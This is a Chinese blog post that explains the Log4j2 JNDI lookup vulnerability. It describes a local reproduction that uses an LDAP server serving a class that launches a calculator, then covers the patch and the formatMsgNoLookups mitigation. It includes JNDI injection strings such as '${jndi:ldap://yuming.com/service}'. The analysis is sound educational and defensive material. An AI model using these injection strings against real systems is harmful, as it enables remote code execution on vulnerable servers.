Log4j2 Jndi 漏洞原理解析、覆盤

陳咬金發表於2021-12-13

 

 2021-12-10一個值得所有研發紀念的日子。

 

一波操作猛如虎,下班到了凌晨2點25。

 

基礎元件的重要性,在此次的Log4j2漏洞上反應的淋漓盡致,各種“核彈級漏洞”、“超高危” 等詞彙看的我瑟瑟發抖,那麼問題真的有那麼嚴重嗎?這個讓大家普遍加班搞到凌晨的漏洞,到底是什麼問題?

 

01

漏洞解析、復現

 

Log4j2的框架設計非常優秀,各種功能均是以內部外掛的方式進行的擴充套件實現,比如我們經常在Xml中定義的<Appenders>,實際對應的則是如下的AppendersPlugin物件

Log4j2 Jndi 漏洞原理解析、覆盤

 

而我們在Xml Appenders下所定義的<Console>實際對應的則是如下的ConsoleAppender物件

Log4j2 Jndi 漏洞原理解析、覆盤

 

看到這裡應該就知曉了,我們在配置檔案中所配置的各種元素實際上對應的均是Log4j2中的各種外掛物件,Xml在被解析過程當中,會將你所配置的各種元素名稱例項化為對應的外掛物件,然後與你所配置的Logger進行關聯。

Console,RollingFile 等則是我們一般情況下常用的外掛,而此次出現重大漏洞問題的則是一個相對不太常用的外掛,名叫:JndiLookup 吶,就是下面這個

Log4j2 Jndi 漏洞原理解析、覆盤

 

此時則會有一個疑問,這個外掛?沒見過?不熟悉?使用頻率不高吧?

Log4j2 Jndi 漏洞原理解析、覆盤

 

按照道理來說的確是這樣,一個使用頻率不高的外掛,就算有漏洞,也很難會去觸發到。

但偏偏這個外掛被人為使用的頻率較低,但程式碼觸發到的頻率很高,高到你程式碼中每次觸發info,warn,error 等日誌寫入的時候,都會去校驗一下是否執行Lookup的邏輯。也就是基於此,這樣一個小的外掛由於和日誌的寫入邏輯有所關聯,就導致了漏洞觸發的可能性成倍的增加。

 

Lookup外掛在Log4j2的使用場景上是為了獲取配置而使用的,如Log4j2框架中所包含的JavaLookup外掛,表示當你要在Log4j2框架中獲取Java的配置資訊時,則會排程執行該JavaLookup來返回對應的Java配置資訊,如下所示:

error程式碼中直接填寫:${java.version} 則最終會返回對應的Java版本資訊

Log4j2 Jndi 漏洞原理解析、覆盤

 

同理Log4j2中還封裝的有DockerLookup,KubernetesLookup等,當你要在服務中獲取Docker的後設資料資訊時,則最終會被Log4j2框架排程執行到DockerLookup方法中,由DockerLookup來執行具體的互動並返回對應的資料。

 

那麼此時再來去看JndiLookup則一目瞭然了,沒錯,JndiLookup只是Log4j2框架中各種Lookup的其中一個,其作用則是通過Jndi規範去獲取對應的配置資訊時使用。

 

此時我們來驗證一下JndiLookup的漏洞,如下所示:

Log4j2 Jndi 漏洞原理解析、覆盤

 

各大安全廠商在釋出漏洞驗證報告時的截圖均是以$Jndi 開啟本地計算器為例,以此表示Jndi存在嚴重的安全隱患,所以此處本人也是直接以此為例來進行驗證。

 

當我啟動main方法後可以發現 ${jndi:ldap://127.0.0.1:1389/badClassName} 這段程式碼最終開啟了本地的一個計算器程式,漏洞驗證成功。

 

原創宣告:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

Log4j2 Jndi 漏洞原理解析、覆盤

 

實際上想要本地復現這個漏洞是並不簡單的,所以為了後續可以更快速的理解,我們此處則需要重複幾個概念:

 

1、jndi 全名 Java Naming and Directory Interface,是用於目錄服務的Java API,它允許Java客戶端通過名稱發現查詢資料和資源(以Java物件的形式)。

 

2、觸發Lookup外掛的場景是使用:${},如上述的${java:version} 表示使用JavaLookup外掛,傳入值為version然後返回對應的結果,而此處的${jndi:ldap://ip:port} 則同理表示呼叫JndiLookup傳入值為 ldap://ip:port 。

 

3、jndi是目錄介面,所以JndiLookup中則是各種目錄介面的實現集合,如下圖所示可以發現JndiLookup中可直接呼叫的具體實現類有很多,其中就包括LdapURLContext

Log4j2 Jndi 漏洞原理解析、覆盤

 

OK,瞭解了上述的概念,我們就可以繼續開始了。

 

原創宣告:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

首先我們當前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是讓Log4j2框架執行error時,觸發JndiLookup,然後呼叫JndiLookup的ldap協議,以此達到注入的效果。

 

那麼在此之前,我們需要做的第一件事是先搭建一個ldap協議的服務端,只有這樣才能做到Log4j2觸發ldap協議時,可以成功訪問你當前本地的1389埠,核心程式碼如下所示:

 

首先定義一個ldap協議的Server

Log4j2 Jndi 漏洞原理解析、覆盤

 

第二步通過asm框架位元組碼的方式生成一個class類,class類主要內容便是執行Runtime.getRuntime.exec("calc.exe") 也就是該class類一旦被執行則會立即呼叫本地的計算器服務。

 

Log4j2 Jndi 漏洞原理解析、覆盤

第三步則是ldap協議被訪問後,則將當前的class類作為byte流輸出為對應的響應結果

Log4j2 Jndi 漏洞原理解析、覆盤

 

此時我們的服務端則搭建完成。

 

而對於客戶端而言,則更加簡單,僅需要引用對應的log4j-core的漏洞版即可,當前所引入的為2.14.1的版本。

啟動測試,結果則如下所示:

Log4j2 Jndi 漏洞原理解析、覆盤

 

此時身為好奇Boy的你可能仍然會有疑問:

1、jndi載入後的class位元組流是在何時被例項化為物件的。

2、既然如此,Log4j2官方又是如何修復的?

 

原創宣告:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

02

疑問、覆盤

 

針對jndi的問題,先做下相關說明:首先jndi本身並不是Log4j2框架的產物,而是Jdk自身的功能,對應的包路徑為com.sun.jndi 。

 

jndi 在jdk中的定位是目錄服務應用程式介面,目錄服務可以想象為一個樹,而java中常用的目錄服務協議則是rmi和ldap,ldap本身就是一套常用的目錄訪問協議,一般我們windows常用的AD域也都是基於ldap協議的,而jndi的作用則是通過目錄協議如ldap根據對應的目錄名,去查詢對應服務端的物件,並把該物件下載到客戶端中來。

 

所以針對上述jndi:ldap的漏洞,其實這本身就不是問題,因為這本身就是jndi的功能,如果你的目錄訪問協議是可控的情況下,那麼使用jndi則是安全的。

 

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是對應的傳參則較為隨意,這就是一個很大的問題,如通過http的方式給業務服務傳引數為:${jndi:ldap://yuming.com/service} ,而業務方服務又恰巧把該引數打到了日誌中,這就會導致很大的漏洞,因為誰也無法保證注入的yuming.com/service返回的物件是什麼,相當於是一個很大的後門,注入者可以通過此漏洞任意執行所有程式碼。

 

閉環了朋友們,文章最初所提到的這個漏洞真的有這麼嚴重嗎?看到這裡想必也已經很清楚了,各種媒體所宣稱的"核彈級",也是真的沒什麼毛病。

 

原創宣告:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

Log4j2 Jndi 漏洞原理解析、覆盤

 

此時所引出的第二個問題則是:Log4j2框架是如何修復的?

 

既然jndi的問題無法解決,那作為日誌框架的“我”自然要從自身尋找問題,所以Log4j2框架本身的解決方案則是設定域名白名單,類白名單等操作,如果jndi:ldap對應的訪問路徑並非127.0.0.1同網段的服務等,則不會執行lookup() ,以此避免訪問到外部的惡意服務上去。

 

Log4j2的程式碼修復記錄如下:

Log4j2 Jndi 漏洞原理解析、覆盤

 

老版本中關於JndiManager的程式碼是這樣的,直接呼叫context.lookup(),context為jdk自身的jndi類

Log4j2 Jndi 漏洞原理解析、覆盤

 

而修復後程式碼是這樣的:在呼叫context.lookup()之前,做了較多的攔截操作,判斷了對應的白名單類,以及host等操作

Log4j2 Jndi 漏洞原理解析、覆盤

 

對於各公司內解決方案,實際上不見得一定要通過短時間內升級jar包的方式來解決,因為java體系內的各種log包的依賴,由於各種歷史原因導致當前也是有點較為繁瑣,如果想要短時間內更加無痛解決的情況下,直接在已有的專案下增加log4j2.formatMsgNoLookups=true,也可以完美解決該問題。

 

對應程式碼如下:配置該引數為true以後,會在對應的日誌輸出進行format格式化時,不再解析你當前日誌中的 ${} 的程式碼塊,造成的影響面則是服務程式碼中所有的 ${} 均不會再解析Lookup

Log4j2 Jndi 漏洞原理解析、覆盤

 

當然,如果可以高效的推動各業務方升級則是最好的。

 

如果大家還有其他的奇門技巧來解決該問題,歡迎留言評論交流下你的解決方案。

 

 對於想要學習並驗證該漏洞的小夥伴,則需要麻煩你掃碼以下公眾號,併傳送訊息“ldap” 便可直接獲取ldap協議服務端原始碼。(卑微打工人,線上引流恰飯  /哭 ,感謝大家對原創的支援! )

Log4j2 Jndi 漏洞原理解析、覆盤

 

本文已進行版權登記,版權歸屬陳咬金,抄襲必究。

原創宣告:作者陳咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

 

相關文章